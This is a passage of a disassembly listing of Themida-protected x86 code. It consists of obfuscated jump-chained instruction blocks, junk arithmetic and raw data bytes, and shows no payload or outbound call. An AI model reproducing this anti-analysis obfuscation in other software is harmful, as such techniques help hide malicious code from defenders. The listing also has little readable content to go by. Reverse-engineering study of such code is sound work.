		add	ebx, 1E786054h
		jmp	loc_56628F
; ---------------------------------------------------------------------------
		dd 5AD6315Eh, 8FE9F101h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5551E3:				; CODE XREF: Themida_:00559E0Bj
		jz	loc_55D5BB
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 304E627Fh
		xor	[esp+4], ebp
		jmp	loc_555D7D
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0FD75B69h, 6EAC14Ah,	74C2CA81h, 0C281681Ch, 76B83D13h
		dd 0AE04EA81h, 0D701DE6Fh, 0F8315B5Ah, 0CB0E9h,	0BFF28000h
		dd 0EAC0DAF6h, 55EA8002h, 804ECA80h, 0D000E9EAh, 0E924148Bh
		dd 0E836h, 0E95BDA88h, 0FFFFE8FDh, 0EC5BE953h, 875F0000h
		dd 895C242Ch, 0EC832424h, 24148904h, 4BAh, 24540100h, 46E95A04h
		db 9Eh,	2 dup(0)
byte_555267	db 66h			; DATA XREF: Themida_:00552BC0o
		dd 0E9240C8Bh, 5671h, 6668E280h, 0E9FFB450h, 37B6h, 0FFDA42E9h
		dd 0E9D830FFh, 0C7C1h, 6B72E681h, 0E68158DCh, 32230E4Ch
		dd 282FBA52h, 0D6095CB4h, 78F6815Ah, 0E9A34850h, 0BCF5h
; ---------------------------------------------------------------------------


loc_5552A8:				; CODE XREF: Themida_:0055B28Ej
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, 37BA4BF7h
		inc	esi
		push	0
		sub	[esp], esi
		pop	esi
		shl	esi, 7
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 971DAF9Ch
		jmp	loc_56010A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EBE9241Ch
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5552D7:				; CODE XREF: Themida_:005665D7j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5671CB
; ---------------------------------------------------------------------------
		dw 489h
		dd 0F5A2E924h, 0E950FFFFh, 0AA8Fh
; ---------------------------------------------------------------------------


loc_5552F0:				; CODE XREF: Themida_:0055B64Cj
		xor	eax, 16E921F3h
		push	ebx
		mov	ebx, 101D2C47h
		jmp	loc_5604C9
; ---------------------------------------------------------------------------
		dd 8324048Fh, 0FF042404h, 34FF2434h, 0AFE95D24h, 680000F0h
		dd 6A6Eh, 89243489h, 0DC71E9E6h, 1E680000h, 0E9000069h
		dd 439Ch, 1438C681h, 0F389C021h, 0E924348Bh, 0D3E4h, 68240C89h
		dd 8EAh, 110DFE9h, 4738BE00h, 0E6C13ED4h, 0DEEE8102h, 1FB511Ch
		dd 24348BF5h, 0E9E18951h, 83BDh, 1A155EBEh, 8EEE810Eh
		dd 81095133h, 0B237D1E6h, 0D4F68117h, 2D048021h, 55F754BEh
		dd 2668F001h, 89000057h, 0EC832434h, 0FF50E904h, 0C831FFFFh
		dd 7E7B3605h, 5462E934h, 0EF810000h, 82F36E48h,	900FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5553A9:				; CODE XREF: Themida_:0055CFE4j
		sub	ebx, 6322487Bh
		jmp	loc_567755
; ---------------------------------------------------------------------------
		dd 5104C483h, 4B9h, 8BCF0100h, 34E9240Ch, 30000074h, 0E99C2404h
		dd 0FFFFD8F3h, 4EC815Dh, 0E9000000h, 0E06Ah
; ---------------------------------------------------------------------------


loc_5553DC:				; CODE XREF: Themida_:0055DDF0j
		add	ebx, 1
		push	ecx
		push	ebp
		mov	ebp, 1A6725ABh
		jmp	loc_5653BD
; ---------------------------------------------------------------------------
aVP3qSY		db 'V╬p3÷,И╩Y',0
		align 2


loc_5553F6:				; CODE XREF: Themida_:0055323Ej
		push	0DDBh
		mov	[esp], ebp
		mov	ebp, 8548534Ah
		jmp	loc_563AC2
; ---------------------------------------------------------------------------
		dd 1B1EE281h, 0BB5374D8h, 0CC4E13E9h, 1C8BDA01h, 4C48324h
		dd 5A91C381h, 0D3294D27h, 7CD7BF57h, 0CF8133D1h, 3192046Ah
		dd 0DD92C781h, 0FB291953h, 0F3815A5Fh, 1187CD90h, 1C8BD801h
		dd 5C166824h, 43E90000h, 310000E9h, 0E5C159CDh,	14C58105h
		dd 0E92898A0h, 467Ah
; ---------------------------------------------------------------------------


loc_555460:				; CODE XREF: Themida_:0055E2ADj
		mov	eax, 0
		add	eax, ecx
		sub	esp, 4
		jmp	loc_564FFA
; ---------------------------------------------------------------------------
aWs		db '^)ыWИ|у',0
		db 0
; ---------------------------------------------------------------------------


loc_55547B:				; CODE XREF: Themida_:00555F50j
		xor	esi, 0D64047Ah
		jmp	loc_55D928
; ---------------------------------------------------------------------------
aBXI		db '│бЕ/К',0
		dd 4A02E2C1h, 0DB69C281h, 0D0298B64h, 24148B5Ah, 104C483h
		dd 685552F8h, 836563Dh,	1BADE95Dh, 0F3810001h, 0D77C0C06h
		dd 0D7E9DD29h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5554BB:				; CODE XREF: Themida_:00564642j
		pop	ecx
		push	eax
		push	edx
		mov	dl, 57h
		mov	ah, 0C4h
		sub	ah, dl
		pop	edx
		mov	dl, 0B8h
		add	dl, ah
		pop	eax
		sub	dl, 15h
		jmp	loc_5561F6
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0D7E9E924h, 0E4E9FFFFh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5554DF:				; CODE XREF: Themida_:00567181j
		sub	dword ptr [esp], 77291C77h
		pop	edi
		jmp	loc_5573BD
; ---------------------------------------------------------------------------
		dd 741268h, 9863E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5554F6:				; CODE XREF: Themida_:0055E607j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_552CC3
; ---------------------------------------------------------------------------


loc_555509:				; CODE XREF: Themida_:0055B230j
		mov	ecx, [esp]
		add	esp, 4
		add	esi, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_55ED4A
; ---------------------------------------------------------------------------
aRpEL0cxrs7	db 'RP╢e╤╚0ФXRИ[7',0
		dd 4C68100h, 0E9000000h, 11429h, 103768h, 241C8900h, 0FA885EB7h
		dd 5AD7885Bh, 4EC81h, 14890000h, 80CBB224h, 51661CCAh
		dd 0CA083BB1h, 240C8B66h, 0E902C483h, 2208h, 6CCEB850h
		dd 0C1310B31h, 0FFE660E9h, 2EB7BDFFh, 0F58164CEh, 64CE2EB3h
		dd 2C8BEB01h, 0EF42E924h, 4B80000h, 1000000h, 24048BC7h
		dd 4C481h, 3C870000h, 0FFE95C24h, 5000083h, 2D123400h
		dd 2DC801h, 2D2D1234h, 6A41599Fh, 2B95159h, 5000000h, 340D778Fh
		dd 5FE9C801h, 8B00002Eh, 0C4832404h, 0CCE98104h, 0F7572460h
		dd 0F7F987D1h, 95FCE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5555DA:				; CODE XREF: Themida_:005621B5j
		shr	edx, 7
		jmp	loc_55C6D7
; ---------------------------------------------------------------------------
		dw 0C389h
		dd 53D88950h, 0DE89C389h, 8B5B585Bh, 0C4812404h, 4, 0E70CEE81h
		dd 0F70189C5h, 0CDEDE9h, 0C6015B00h, 9090E9h, 0C180400h
		dd 2C2E34DEh, 58C5886Bh, 8B66E828h, 0C483240Ch,	1043E902h
		dd 0F2890001h, 0E924348Bh, 6BF2h
; ---------------------------------------------------------------------------


loc_555630:				; CODE XREF: Themida_:00564870j
		add	esp, 2
		xor	cl, ah
		jmp	loc_5586B1
; ---------------------------------------------------------------------------


loc_55563A:				; CODE XREF: Themida_:0055E1B2j
		add	ebx, 0FFFFFFFFh
		push	edi
		push	ebx
		mov	ebx, 1ECD4287h
		mov	edi, ebx
		jmp	loc_555F43
; ---------------------------------------------------------------------------
		db 0B3h
		dd 5BD98858h, 0B0FCE9h,	6DE95E00h, 810000A6h, 0F82B91E1h
		dd 10C1813Ah, 835EBE14h, 0C181FFE9h, 96B1C161h,	34FFCA01h
		dd 0C4835924h, 24143304h, 33241431h, 248B2414h,	4096624h
		dd 34E99C24h
		db 0D6h, 2 dup(0FFh)
byte_55568F	db 0ADh			; DATA XREF: Themida_:00552C18o
		dd 0F2E9D831h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555697:				; CODE XREF: Themida_:0055843Fj
		pop	esi
		jmp	loc_55510D
; ---------------------------------------------------------------------------


loc_55569D:				; CODE XREF: Themida_:00556800j
		push	ebx
		mov	ebx, 44734F46h
		sub	ebx, 44734F42h
		push	ecx
		mov	ecx, 0FED659Ch
		add	eax, ecx
		pop	ecx
		add	eax, ebx
		sub	eax, 0FED659Ch
		jmp	loc_562273
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 0C5F5815Fh, 151FC51h, 0CB015DEBh, 4E64E956h,	0ED810000h
		dd 34BDB470h, 355DE831h, 5344298Fh, 8158C389h, 0D04804CBh
		dd 0DBF74B41h, 0CFADEB81h, 0C331D549h, 8DC3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5556F9:				; CODE XREF: Themida_:00555902j
		mov	edx, 0FFFFFFFFh
		sub	[edi+24h], edx
		push	dword ptr [esp]
		pop	edx
		push	35A3h
		mov	[esp], eax
		push	esp
		jmp	loc_563103
; ---------------------------------------------------------------------------
		db 52h
		dd 770731BAh, 0F5D7E943h, 0E3810000h, 1A411DB9h, 3038F381h
		dd 0ADE90B23h, 5C000077h, 31243433h, 16E92434h,	8000005Fh
		dd 0F700B0C7h, 28B0B252h, 24148BD7h, 957DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55574D:				; CODE XREF: Themida_:00567056j
		push	ebp
		mov	ebp, 4B761E2Dh
		add	ebp, 7CE643F7h
		jmp	loc_55D268
; ---------------------------------------------------------------------------


loc_55575E:				; CODE XREF: Themida_:0055BF96j
		pop	ecx
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		shl	ebp, 7
		or	ebp, 61260368h
		shr	ebp, 5
		add	ebp, 0EBAD35F3h
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56016E
; ---------------------------------------------------------------------------


loc_555789:				; CODE XREF: Themida_:0055A7FBj
		jz	loc_557848
		push	229Ah
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3E1E15EBh
		dec	edi
		push	esi
		mov	esi, 0
		sub	esi, edi
		jmp	loc_55EA74
; ---------------------------------------------------------------------------
		dd 5A80EC80h, 48BE320h,	4C48124h, 0C0000000h, 0C38004E3h
		dd 0E9D830D6h, 376Dh, 0B2525166h, 0FFEA804Ah, 0D2F6CAFEh
		dd 5106EAC0h, 0CA30F5B1h, 0E9D18859h, 2E0Dh, 42Dh, 24048700h
		dd 2D3EE9h, 57CB8100h, 0E9206252h, 0BEB9h
; ---------------------------------------------------------------------------


loc_555800:				; CODE XREF: Themida_:0055BDAFj
		sub	ebp, edx
		push	edx
		mov	edx, 4E020F74h
		sub	ebp, edx
		pop	edx
		jmp	loc_5534FC
; ---------------------------------------------------------------------------
		dd 33240C31h, 248B240Ch, 4896624h, 0D4A1E924h, 1487FFFFh
		dd 0E52BE924h, 0F801FFFFh, 4EC81h, 34890000h, 0C1C9E924h
		dd 0E9C10000h, 0B06AE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555842:				; CODE XREF: Themida_:00558C2Cj
		pop	edx
		and	ebp, 7BEB127Ah
		shr	ebp, 7
		shl	ebp, 1
		shl	ebp, 5
		add	ebp, 0E7FA7704h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	7B821401h
		pop	ecx
		xor	ecx, 7B821405h
		mov	eax, ecx
		pop	ecx
		add	edi, 101E34A4h
		add	edi, eax
		sub	edi, 101E34A4h
		pop	eax
		jmp	loc_564EAD
; ---------------------------------------------------------------------------


loc_555884:				; CODE XREF: Themida_:00557A0Aj
		push	esi
		mov	esi, 4
		add	edx, 32604B21h
		add	edx, esi
		jmp	loc_5573D6
; ---------------------------------------------------------------------------


loc_555897:				; CODE XREF: Themida_:0055B27Dj
		pop	eax
		jmp	loc_5677C9
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 87h
		dd 81DBF7D3h, 2727F3F3h, 0E9DD8916h, 0ABD3h
; ---------------------------------------------------------------------------


loc_5558B0:				; CODE XREF: Themida_:0056491Ej
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_565993
; ---------------------------------------------------------------------------
		dd 4EC815Ah, 0E9000000h, 0FFFFE43Ch
; ---------------------------------------------------------------------------


loc_5558CC:				; CODE XREF: Themida_:005597EFj
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		push	edx
		mov	edx, 23F01517h
		add	[esp+8], edx
		pop	edx
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 23F01517h
		mov	ecx, [esp]
		jmp	loc_55E85A
; ---------------------------------------------------------------------------
		dd 1C5EE95Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_5558FA:				; CODE XREF: Themida_:00565166j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5556F9
; ---------------------------------------------------------------------------
		db 68h
		dd 6F6Bh, 83241C89h, 248904ECh,	4BA5224h, 1000000h, 5A042454h
		dd 54A5E9h, 2434FF00h, 0B90FE9h, 341CB800h, 51052221h
		dd 0C131C613h, 19E905E0h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55593F:				; CODE XREF: Themida_:00554E28j
		mov	[esp], ecx
		jmp	loc_55ABBE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 72AC681Fh, 76BA524Eh, 8101565Dh, 63202CEAh, 8EAC17Eh
		dd 0DB6E9h, 4C48300h, 0CF66E952h, 3C8B0000h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 0C763h
; ---------------------------------------------------------------------------


loc_555984:				; CODE XREF: Themida_:00560CC9j
		push	esi
		jmp	loc_55838E
; ---------------------------------------------------------------------------


loc_55598A:				; CODE XREF: Themida_:0055803Cj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_553D6E
; ---------------------------------------------------------------------------
		dd 3178CE81h, 0EE812E8Ch, 2E8F357Bh, 7DE9F029h,	81000051h
		dd 4ECh, 240C8900h, 4B9h, 99FFE900h, 0F5680000h, 0E9069227h
		dd 0D43Eh, 8E3C15Fh, 178CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5559D9:				; CODE XREF: Themida_:00556C16j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55CE2F
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 8105EFC1h,	6ED587EFh, 1B82E9DFh, 0D15F0000h
		dd 218A68E7h, 34890000h, 7CE95024h, 810000BCh, 4EDh, 242C8700h
		dd 2404895Ch, 9E61E9h
		db 0
; ---------------------------------------------------------------------------


loc_555A21:				; CODE XREF: Themida_:00558B57j
		push	edi
		push	219727B6h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5650DA
; ---------------------------------------------------------------------------
		dd 57243489h, 0FC2AB168h, 0FFC0E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A3E:				; CODE XREF: Themida_:0055931Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [edi+20h]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_566147
; ---------------------------------------------------------------------------


loc_555A59:				; CODE XREF: Themida_:00564F68j
		add	esp, 4
		add	bl, 0D0h
		jmp	loc_555AAD
; ---------------------------------------------------------------------------
		dd 31240433h, 69E92404h, 890000CFh, 0B1E9241Ch,	2CFFFFEBh
		dd 4D02850h, 24148B50h,	4C481h,	835B0000h, 17E904ECh, 8900002Ch
		dd 0FE5EE9D1h, 815EFFFFh, 4C6h,	4EC8300h, 0BA241489h, 4
		dd 0FFEAB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555AAD:				; CODE XREF: Themida_:00555A5Fj
		push	3634h
		jmp	loc_55C930
; ---------------------------------------------------------------------------
aNsK		db '╜И',1Bh,'┼',0       ; DATA XREF: Themida_:00552B18o
		dd 7C58100h, 890DCE51h,	0E9515DEBh, 0B93Ch, 0E924248Bh
		dd 5BADh, 0ABE9CD01h, 590000A5h, 3A8CE9h, 24E95C00h, 8100001Dh
		dd 636068EBh, 5BDD31B8h, 3E7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_555AF5:				; CODE XREF: Themida_:00556281j
		pop	ebp
		push	6B44h
		mov	[esp], ebx
		mov	ebx, 7260639h
		add	ebx, 8C6544Bh
		push	ebx
		push	edi
		mov	edi, 7E2B08A7h
		mov	ebx, edi
		pop	edi
		shl	ebx, 4
		xor	ebx, 64422B1Ch
		jmp	loc_55EF22
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 8124348Bh, 4C4h, 542C6800h, 79E90000h, 68FFFFD6h
		dd 6E48h, 0FDC3E9h, 243C8B00h, 0E904C483h, 0FFFFF294h
		dd 6624248Bh, 0E868F1F7h, 89000051h, 0B4682414h, 68000077h
		dd 5F21h, 83242489h, 8F042404h,	0B9512404h, 4, 2B6CE9h
		dd 0D5EB8000h, 96EB80h,	96C380C3h, 50D5C380h, 405E089h
		dd 2D000000h, 4, 5C240487h, 81240C89h, 4ECh, 241C8900h
		dd 5250DEB7h, 0D088FA88h, 0E9C5885Ah, 120Dh, 241AC681h
		dd 0C6811E6Bh, 6ED92B9Fh, 31EFC681h, 0C6010B90h, 31EFEE81h
		dd 0EE810B90h, 6ED92B9Fh, 241AEE81h, 0EE811E6Bh, 415A42E2h
		dd 3825EE81h, 60E92089h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555BEF:				; CODE XREF: Themida_:00561E08j
		mov	esi, [esp]
		jmp	loc_565B73
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0B713E900h, 0E0890000h, 1A7E68h, 24348900h, 4BEh
		dd 0B756E900h, 0E9590000h, 0E386h, 80CCFE5Ah, 52511EECh
		dd 93E900B2h, 89000054h, 4C181E1h, 83000000h, 0FF5104E9h
		dd 0E9042474h, 0E15Ch
; ---------------------------------------------------------------------------


loc_555C40:				; CODE XREF: Themida_:00555CB9j
		xor	edx, ebp
		pop	ebp
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	1629h
		mov	[esp], ecx
		push	esi
		push	305C4B37h
		pop	esi
		jmp	loc_563993
; ---------------------------------------------------------------------------
		dd 4EC8157h, 89000000h,	4832424h, 9DE90424h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C73:				; CODE XREF: Themida_:005642CBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	5D7Eh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_55C622
; ---------------------------------------------------------------------------
		dd 468h, 69E95900h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555CA3:				; CODE XREF: Themida_:005613F3j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		push	ebp
		mov	ebp, 4BE7044Ah
		mov	edx, 4BE7044Eh
		jmp	loc_555C40
; ---------------------------------------------------------------------------
		dw 0F889h
a_svj		db '_И╒J',0
		align 2


loc_555CC6:				; CODE XREF: Themida_:00567519j
		xor	edx, [esp]
		jmp	loc_5671F2
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 4246C01h,	0C7815F5Dh, 4, 3304EF83h, 3C31243Ch, 243C3324h
		dd 8924248Bh, 8B54243Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 517C438Eh
		neg	esi
		push	7E7Eh
		mov	[esp], ebx
		mov	ebx, 517C4392h
		add	esi, ebx
		pop	ebx
		jmp	loc_55BEC6
; ---------------------------------------------------------------------------
		dw 0D5BBh
		dd 81178144h, 996093CBh, 0A2F38156h, 0E9345B7Eh, 0C3Eh
		dd 4B850h, 0C6810000h, 630076D0h, 86E9C601h, 5C0000A5h
		dd 54243C89h, 0E94CE9h,	0EB814B00h, 70F263AEh, 918DE9h
		dd 5BDE2900h, 663C381h,	0F3011BFAh, 0F7A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_555D7D:				; CODE XREF: Themida_:005551F6j
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		jmp	loc_555129
; ---------------------------------------------------------------------------
		db 59h
		dd 4EB815Ah, 87000000h,	248B241Ch, 242C8924h, 8904EC83h
		dd 2C81241Ch, 707E9824h, 0C5815D26h, 26707E98h,	0E904EC83h
		dd 3736h
; ---------------------------------------------------------------------------


loc_555DC4:				; CODE XREF: Themida_:0055CEFFj
		mov	eax, 25C61C6Dh
		shl	eax, 3
		not	eax
		sub	eax, 1EC35381h
		neg	eax
		jmp	loc_55EC83
; ---------------------------------------------------------------------------


loc_555DDA:				; CODE XREF: Themida_:0056533Aj
		add	ebx, edi
		jmp	loc_56082D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 1302E9h, 0EC815A00h,	4, 0BE243489h, 4, 348BF201h, 4C48124h
		dd 0E9000000h, 8EF4h
; ---------------------------------------------------------------------------


loc_555E08:				; CODE XREF: Themida_:00561761j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55A8CD
; ---------------------------------------------------------------------------
byte_555E13	db 0ACh			; DATA XREF: Themida_:00552A04o
		dd 8904EC83h, 1CB7241Ch, 0E780C7FEh, 0FCF78028h, 0C02FEF80h
		dd 6EE902EFh
		db 0ACh, 2 dup(0)
byte_555E2F	db 0FFh			; DATA XREF: Themida_:00552B90o
a4Xha_0		db '4$Xh²{',0
		align 4
		dd 54242C89h, 4C5815Dh,	0E9000000h, 188Bh, 3431D6F7h, 84D4E924h
		dd 0DCF60000h, 50CFE480h, 12454F6h, 52EC8058h, 0C2E9E300h
		dd 830000B7h, 566602C4h, 1D94E9h, 0E9E38900h, 2790h, 88240C89h
		dd 885052D5h, 4AE9E9E8h, 0C3810000h, 677646B9h,	4B07EBC1h
		dd 2BDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555E95:				; CODE XREF: Themida_:0055BB66j
		mov	ebx, 5DD431A7h
		push	46h
		jmp	loc_557A4C
; ---------------------------------------------------------------------------


loc_555EA4:				; CODE XREF: Themida_:0056221Fj
		push	0A5F2E1Eh
		pop	esi
		and	esi, 0CEE27FDh
		add	esi, 50983DD5h
		mov	edi, esi
		pop	esi
		jmp	loc_55D146
; ---------------------------------------------------------------------------
		dw 5768h
		dd 89000017h, 0F189240Ch, 243C8B51h, 0EDC2E9h, 243C8B00h
		dd 6804C483h, 167Dh, 68241C89h,	3E1A2D9Ah, 0E9241C8Bh
		dd 47BEh, 80FFEE80h, 0F428E8EEh, 80EC285Ah, 805919C4h
		dd 83E90CF4h
		db 0C4h, 2 dup(0)
byte_555F03	db 0FFh			; DATA XREF: Themida_:00552AF8o
a4Xusr		db '4$XUИr=',0
		dd 24048B00h, 268AE9h, 0F5215A00h, 0AB0AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F1E:				; CODE XREF: Themida_:005642EFj
		push	ecx
		pop	esi
		pop	ecx
		sub	edx, esi
		jmp	loc_56619B
; ---------------------------------------------------------------------------
		dd 0E905E3C1h, 0F723h, 1C112D58h, 0C6897F46h, 8BF00158h
		dd 0DEE92434h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555F43:				; CODE XREF: Themida_:00555646j
		pop	ebx
		push	esi
		mov	esi, 5BF43D82h
		or	esi, 3403DEh
		jmp	loc_55547B
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 5Dh
		dd 0E3C1DBF7h, 0BB35E906h, 0C3810000h, 0B5CEF22Eh, 77E9h
		dd 4C38100h, 87000000h,	8EE9241Ch, 0B90000DFh, 589317A1h
		dd 4114E181h, 0BE56737Ch, 6B366B0h, 0B73EE81h, 0F131B73Fh
		dd 0F8A0E95Eh, 0F531FFFFh, 0A5C5815Eh, 212833EAh, 2AF8E9EBh
		dd 4F040000h, 8C34E0D0h, 0DEFAE9h, 241C8700h, 0E924248Bh
		dd 94EAh, 4942EF81h, 0CF815203h, 71D12F5Fh, 81DFF74Fh
		dd 0D36F82C7h, 0E9FD01FBh, 0B543h, 0E9240489h, 0FFFFD434h
		dd 8B5BDD29h, 0C4812434h, 4, 3304C583h,	2C31242Ch, 242C3324h
		dd 903BE9h, 0E3895300h,	7499E9h
		db 0
; ---------------------------------------------------------------------------


loc_556009:				; CODE XREF: Themida_:0055DB00j
		push	edx
		push	eax
		mov	eax, 1C813324h
		sub	[esp+4], eax
		pop	eax
		pop	eax
		add	eax, 1C813324h
		pop	edx
		jmp	loc_5639C6
; ---------------------------------------------------------------------------
aHz		db '[h┤',7,0
		dw 0E900h
		dd 0F986h, 0E9240489h, 0E439h, 0C7E9CAB4h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55603B:				; CODE XREF: Themida_:0055F2EEj
		add	dword ptr [esp], 4
		jmp	loc_55BD79
; ---------------------------------------------------------------------------


loc_556047:				; CODE XREF: Themida_:00561AE2j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shl	ebp, 3
		neg	ebp
		shl	ebp, 3
		push	edx
		push	eax
		mov	eax, 27791B76h
		sub	eax, 3D464BBEh
		push	ebp
		mov	ebp, 298E0524h
		shl	ebp, 3
		sub	ebp, 1
		shl	ebp, 6
		jmp	loc_556207
; ---------------------------------------------------------------------------
		dd 2C8BE829h, 1FE95224h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556087:				; CODE XREF: Themida_:005662D8j
		add	al, bl
		add	al, 8Eh
		push	ecx
		mov	ch, 59h
		add	al, ch
		pop	ecx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	bl, al
		pop	eax
		push	513Dh
		mov	[esp], ebx
		push	ecx
		mov	ch, al
		jmp	loc_557122
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCC07h, 42474FFh, 83240C8Bh, 48F04C4h, 7685C24h
		dd 0E900005Ch, 97A1h
; ---------------------------------------------------------------------------


loc_5560D4:				; CODE XREF: Themida_:005647EFj
		pop	edi
		inc	ebp
		shl	ebp, 3
		push	eax
		push	ebx
		mov	ebx, 29847D18h
		sub	ebx, 20DC1036h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5634A6
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFEE45E9h, 0FFC301FFh, 83582434h, 0E3C104C4h, 0B0E95708h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556113:				; CODE XREF: Themida_:0056626Cj
		inc	edi
		xor	edi, 9A5D79ECh
		add	ecx, edi
		pop	edi
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_559767
; ---------------------------------------------------------------------------


loc_556128:				; CODE XREF: Themida_:0055BC05j
		push	dword ptr [esp+4]
		jmp	loc_5645FD
; ---------------------------------------------------------------------------


loc_556131:				; CODE XREF: Themida_:005566EAj
		mov	ebp, 3A0F4584h
		or	ebp, 583A6AA5h
		jmp	loc_566542
; ---------------------------------------------------------------------------
		db 59h,	68h, 0E0h
		dd 89000015h, 71BE2434h, 0E9596377h, 27F6h, 5404EC83h
		dd 8324048Fh, 0C8904ECh, 4B924h, 4C010000h, 34FF0424h
		dd 0E9515924h, 0FFFFEC4Fh, 5E6AB850h, 0F7E97C83h, 0BB0000F0h
		dd 451048Eh, 0DBD7E9h, 0C1816600h, 81662B2Fh, 0E9D1F9E9h
		dd 0D0A7h, 0AF7D6125h, 8EF8E96Bh, 0B8500000h, 3E5945DBh
		dd 5158C289h, 0F66F9B9h, 9DE98123h, 812E522Dh, 0B8200AE1h
		dd 0D9F18159h, 560C7B4Dh, 860374BEh, 16C68129h,	0C1240079h
		dd 814E05E6h, 7FD0DAF6h, 5EF131ECh, 6F16E9h
		db 0
; ---------------------------------------------------------------------------


loc_5561E1:				; CODE XREF: Themida_:005574AAj
		pop	esi
		jmp	loc_55BAEB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8FA7EA81h, 0D031D826h, 3E0FE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5561F6:				; CODE XREF: Themida_:005554CDj
		add	dl, al
		add	dl, 15h
		pop	eax
		jmp	loc_560EAC
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0E0h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556207:				; CODE XREF: Themida_:00556077j
		sub	ebp, 0A6223A8Eh
		xor	eax, ebp
		pop	ebp
		not	eax
		add	eax, 0E4A20CF4h
		mov	edx, eax
		pop	eax
		jmp	loc_567169
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9812424h, 2DE15EE2h, 1282E9h, 2414F700h, 70DBE9h
		dd 1C5F2100h, 56241C8Bh, 0BA52E689h, 13E7D1Fh, 7D1BF281h
